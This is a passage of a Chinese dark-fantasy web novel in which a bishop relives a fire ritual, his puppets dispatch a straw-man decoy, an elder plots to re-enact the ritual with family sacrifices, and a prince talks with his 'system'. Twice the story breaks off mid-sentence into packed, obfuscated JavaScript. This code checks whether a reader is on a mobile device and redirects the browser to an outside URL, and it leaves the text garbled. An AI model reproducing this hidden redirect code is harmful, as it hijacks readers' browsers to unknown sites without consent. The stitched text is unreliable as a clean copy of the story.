难以形容的画面。 生命的信息,在关朔夜的眼中逐渐消失了。 此刻的世界再无形态,只有鲜活和枯萎的颜色区分。 活着的,濒死的,或者死去的生命。 曾经生动绚烂的立体世界,在他眼中化为了扁平的颜色信息。 为什么会看到这样奇怪的景象? 是因为,我要死了吗? 这是我应得的结局。 我不想成为,妈妈的累赘。 关朔夜在火焰中孤独地想着,逐渐闭上眼睛。 —— 无限的寂静。 不知过了多久,身体被烧灼的疼痛似乎逐渐消失。 关朔夜慢慢醒来。 周围悄无声息,火盆已经燃尽,他独自一人躺在灰烬中,耳边听不到一点声音。 这是……他还活着吗? 他试着动了动手指,没有感觉任何异样,而后他伸手扶住火盆的边缘慢慢起身,低头看到自己的身体竟然毫发无损,看起来根本没有在焚烧里受一点伤。 而在火盆之外,教坛的地面上。 满地焦黑的人体。 关朔夜怔怔地看着眼前的惨烈景象。 骤然,无数透明丝线从他体内迸射出来,如同发疯的触须冲击着墙壁和地面。 触须在坚硬的地面缠绕拍打,发出剧烈的响声,关朔夜却似乎完全感觉不到疼痛和异样,兀自怔怔地坐在火焰的灰烬内。 触须源源不尽地蔓延。 它们狂舞着,围绕着他,如同他身心的一部分,将他此刻失控崩溃的心念,凝聚成为一副混乱的真实画面。 虚幻的思绪,就此化作外在的神迹显现。 火焰与新生。 伴随着历经炼狱的痛楚。 这就是,真神的诞生。 ——35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052489|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 身体微微一颤。 关朔夜从梦中惊醒,他正在支着下颌假寐。 周围空无一人,他独自坐在主教的座椅里,身处寂静无人的圣堂。 森林里的惩戒之夜已经结束,他打发走了所有的不速之客,对罪恶施以足够的责罚和恐惧,也得到了他想要的三学徒情报。 所有的任务,暂告段落。 他独自回到圣堂,身心感到一些疲惫,在小憩中不知不觉睡着了。 梦里,他又一次回到那个恐怖的夜晚。 秘药的折磨,身心的痛楚,那些疯狂邪恶的咆哮和威胁声。 在无尽的绝望中投身蹈火,身体被烈焰焚烧的绝望,世界的颜色在他眼中渐渐褪去…… 还有,与他同样痛苦的母亲。 曾经在教廷备受敬仰的金狩骑士,她本不该承受的破碎命运,成为教司争夺权柄的牺牲品。 这一切,仅仅是因为自己仿若真神的容貌。 多年前发生的事,对如今的关朔夜来说已经不算是噩梦。 经过无数次反复的梦魇和惊醒,独自在黑暗中度过孤寂无眠的长夜,他现在可以直视梦境中的每个画面和细节,并且提出疑问和思考。 那一夜,留下了太多秘密。 对他而言,最重要的是自己没能仔细检查那些看似烧焦的人体,无法确认母亲的下落和生死。 教坛周围根本没有焚烧的痕迹,正常活人不可能突然横死,但皇庭军团很快赶到现场,快速处理了在场的所有残骸,并将他送到医研司隔离治疗。 皇庭军团,皇帝的近身侍卫。 侍奉唯一的帝国尊主。 但所有人都知道如今的皇位形同虚设,真正掌控实权的是另一人。 国辅司衡君。 关朔夜自己是无所谓逾越身份和规则,派遣人偶密探必然会得罪这位皇帝的心腹重臣,但他总是对这件事有所迟疑。 他不想让晏风为难。 唯有他。 在他的面前,他想隐藏所有的心事和痛苦。 “如果你不是……” “如果你,只是它们。” 寂静的圣堂里,关朔夜轻声自语。 “如果你是它们,那我只需要爱你,如同爱着它们。” “由我亲手创造,保护着我,也被我保护,无需遵守这世间一切的规律法则,成为我的血脉,家人,伴侣,情爱的归宿所在……” “但你不是。” “你,时时刻刻只是你。” 圣堂外,传来轻柔的脚步声。 一个身穿白袍的人偶出现在门边,神情温顺地朝着主人的方向微微颔首。 是弥赛亚。 并非被晏风附身的人偶马甲,而是人偶的出厂设置。 晏风的意识早已脱离。 关朔夜的视线停留在弥赛亚身上:“……你走了。” “谢谢你,陪我度过一段愉快的时光。” “……是你吗?” 他说罢,突然有些困惑。 门外附近还有几个人偶在巡逻守备,关朔夜的视线游移到那里,缓慢地看着其中一个人偶。 然后是另一个,又一个…… “你,是弥赛亚?” “还是你?你?” “抱歉,我分不清……你们的颜色。” 声音有些哀伤。 但很快,关朔夜恢复了惯常的漠然神情。 戴上无情的面具。 他重新成为了那个优雅而冷血的主教。 29.间章.观风阁的早餐(1)楼阁 “我可爱的人偶,有什么事情需要汇报?”关朔夜温柔地问。 “跟踪目标的密探反馈,任务完成,对方已经彻底歼灭。”弥赛亚的汇报礼貌而简洁。 他伸开手掌唤起一幅屏幕,折叠的画面自动展开。 画面显示出一处夜晚的街道景象,这是数分钟前西部教区某港口城市的记录数据,里面可以看到在港口商业街沿路的摊贩区域,一个小小的身影正在徘徊。 那是之前被关朔夜亲手送走的,似乎是运气不好而被人偶误抓的孩童。 小诗。 根据人偶密报,孩童在离开森林以后回到圣堂区域,没有成年人迎接,按照关朔夜的命令写完检讨书就自行离开圣堂,沿路前往西部教区。 小孩独自在夜晚的街道漫步,一蹦一跳,不时从衣袋里掏出几颗糖果,他将它们偷偷塞进路边的信箱里,或者通宵营业的沿街商铺铺位,就像是无意的恶作剧。 密探人偶在他身后跟踪,一路直到港口市场附近。 在经过一条无人的偏僻街道,人偶等待到了合适的时机,身影在路灯下一闪而过。 冷风吹过,小孩的身体骤然僵硬。 在他耳后的脖颈处,一根银针闪烁着冷光。 小孩僵在原地,身体缓缓倒下。 人偶站在一旁看着,只见小孩倒在地上再也不动,身体散发出一丝丝淡然的红雾。 雾气消失以后,眼前的身躯缩小了一圈。 躺在地上的根本不是什么小孩。 居然是一个稻草人。 稻草人的头部,心脏和腹部位置,各镶嵌着一颗糖果,人偶将糖果全部取出,稻草人的身体逐渐化为灰烬。 关朔夜看着人偶的反馈画面,神情有些玩味:“有意思。” “回收这个小东西散布出去的所有糖果,维持对之前森林中受感染者的观察监视。” “然后……” “明天就要和殿下见面了。” “我有很多话,想对他说。” *** 深夜,季家。 炽热的火盆在房间里燃烧,映照出一名青年神情畏惧的面容。 季龙扬跪在地上垂着头,颤声道:“……事情的全部经过就是这样,祖父,我真的是按照您的命令,和柳金他们寻找符合您要求的女性,不走运就被主教的人偶抓了!” “住口!” 黑暗中,传来一名老者的咆哮声音。 “什么主教,区区一个卑贱的私生子而已!” “当年有皇庭军团阻拦,没能除掉他,想不到今天又被你在他面前丢脸!” 燃烧的火光,映照出白发老者的面容。 他身穿法仪教司的红色长袍,神情威严而狠戾,布满一道道焦黑伤痕的手中,把玩着几颗红色糖果。 季诲忠教司。 前任主教派系的拥护者,在关朔夜上位之后受到排挤,如今赋闲在家经营草药生意。 ——而这,是在坊间肆意流传的,当事人刻意捏造的信息。 季教司在火盆前来回踱步,神情愤恨又焦躁:“蠢货,计划都被你毁了,如果能找到合适的女子在这里重现当年……算了,还好你拿到这些秘药,勉强做了一件有用的事情。” 季龙扬不明白:“祖父,这是我在森林里捡到的糖果,看别人吃过以后神魂颠倒,所以没敢动,它们有什么用处吗?” “你不需要知道这东西的由来,”季教司讳莫如深,“只要记住它能重现我们家族的光辉,干掉在位的那个卑贱小子,然后……将你冠上主教之名。” 季龙扬大吃一惊:“您在说什么梦话?我能当主教?” “完全可以,只需要付出一点牺牲,”季教司说着,露出一丝诡异的笑容,“教坛我已经在这里准备好,你将重现当年神迹降临的仪式,为世间证明关朔夜不是唯一的真神化身。” “然后,他污秽的血脉能自动将他拖下神坛。” 重现神迹的仪式。 令关朔夜遭受无尽痛苦,失去至亲,灵肉焚烧,直至被迫唤醒思维触须的往事。 而在熟悉教廷各种祭祀仪式的教司眼中,身心折磨正是教义秘术的一部分,它是通往神圣途径的必经之路。 只要满足祭祀的对象和条件,真神降临的神秘之门自然会再度敞开。 燃烧的火焰。 濒临崩溃的疯狂母亲,亲手杀害血亲的幻觉呓语。 以及目睹这番惊悚场景,决意痛苦毁灭自身的对象本人。 只要集齐这些要素,季教司相信自己的孙子也可以激发潜能,与真神实现灵魂交流,唤醒属于他自己的思维触须。 关于这个复杂的祭祀过程,季龙扬不需要知道。 季教司也不打算对这个没出息的孙子教导什么知识,他曾经扶持过上一任傀儡主教上位,这次无非是历史的重复。 在森林里捡到的三学徒秘药,能够加强幻觉作用,这个时候出现简直是天意助他。 唯一的遗憾,是没有找到代替母亲角色的女子。 如非别无选择,季教司并不想一次牺牲两位家人,来成就整个家族的荣耀。 但,容不得他犹豫了。 火光映照着季教司略显阴沉的面容,他催促季龙扬:“去,把你的母亲喊来。” “然后,派人禀报国辅大人。” “就说……” “我发现了一个,重大的研究成果。” *** 流星划过天际。 而后,又是一道。 晏风站在星台上,遥望着孤寂的星光在夜空中拖拽出一道细长的星尾,悄然消逝在夜幕尽头。 “有些生命,即将逝去了。”他轻声道。 系统:“殿下,小心风寒。” 系统:“流星是正常的天文现象,殿下不用太忧心呢。” 晏风没有说话。 夜风吹拂着他的发丝。 系统欲言又止:“这种时候如果有个人在身边,殿下就不会胡思乱想了。” 晏风:“这个人,你认为是谁?” 系统:“殿下可以贪心一点,多几个也很好。” 晏风觉得有些好笑:“你在故意说笑话安慰我吗?这种场面,你明天就可以看到了。” 系统:“……我这样说可能不礼貌,但总觉得有时候跟您鸡同鸭讲。” 系统:“您是在,逃避什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052490|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么吗?” 晏风拢起衣领:“君臣的情意犹如夜风,轻柔或者浓烈,随我的心意流转。” “但它终会消失。” “如果它总是存在,那就是一场可怕的风暴了。” “距离天亮还有一段时间,陪我去沐浴吧。” *** 短暂的一夜,悄然流逝。 天色微亮,数架小型飞艇从某行星边缘的流星带训练场出发,前往皇庭都城楼阁。 位于帝国中心的皇庭行星巡回区域,本体与楼阁之间并无地面通路连接,前往楼阁的方式唯有单向道的空中航行线。 接受召见的对象,必须搭载飞艇航行,从空中通过护卫皇庭的巡回行星带,进入帝国核心中央。 皇庭都城楼阁。 逐风帝国的中枢区域,也是皇庭司的所在地。 楼阁位于逐风城上方的空中,是一座完全浮空的空中都市。 层叠的浮云间,隐约可见优美古朴的楼阁景象,远处看来仿若迷雾中的海市蜃楼。 它是统御这尊庞大帝国机器的皇帝,以及继承者的居所,逐风帝国最尊贵也是最神秘的地方。 由于众所周知的原因,皇族血脉稀薄,所谓的继承者唯有晏风一人,所以整座楼阁其实只有他和皇帝居住。 而皇帝近年来长期沉迷炼金,时常不知所踪。 华美的逐风城楼阁宫殿,大多数时间都只有晏风自己在。 观风阁。 都城的最高处,帝国皇太子的住所。 晏风喜欢它的景致,从观风阁的露台上能俯瞰星域万象,又时常云雾缭绕,有种迷离的虚幻感。 这番景致正如他眼中的帝国本身,华美而庞大,却隐藏着无尽的谜团和阴霾。 今早,是他约定召见厉星鸾的日子。 昨晚几乎彻夜奔波,直到天色微亮,他才稍微躺下小憩一会儿。 披着长袍站在露台边,晏风轻轻打着哈欠。 微风吹拂,衣衫轻轻扬起。 这个季节的风,吹在身上并不太冷。 系统:“殿下,今天也是一个好天气呢。” 晏风:“明明昨天也说过这样的话,但好像已经过了很久。” 系统:“因为记忆模块受到冲击以后,您连夜调查了两个目标吧。” 前夜的一切,恍若隔世。 晏风想起,事件的开端是他的意识潜入宿敌集会的场所,遭到袭击导致系统机能损坏,由此确定了四名宿敌目标的身份。 而后,从调查厉星鸾开始,他借用渊先生的身份,探查出了他在边境行星招揽人才的秘密计划。 紧接着,关朔夜呼唤着他扮演的人偶回家,弥赛亚身兼惩戒罪人和安抚主教的双重职责,在午夜的森林里大开杀戒。 却未曾料想,疑似来自古神缪赞领地的秘药,会流落到教廷领星的区域内,成为罪人们狂欢的血腥美酒。 今天短暂的停歇之后,就该出发了。 晏风想得出神,系统发出提示:“殿下。” 晏风侧过头。 轻柔的凉风拂过,似乎牵引着视线。 不知何时,厉星鸾已经远远站在他的身后。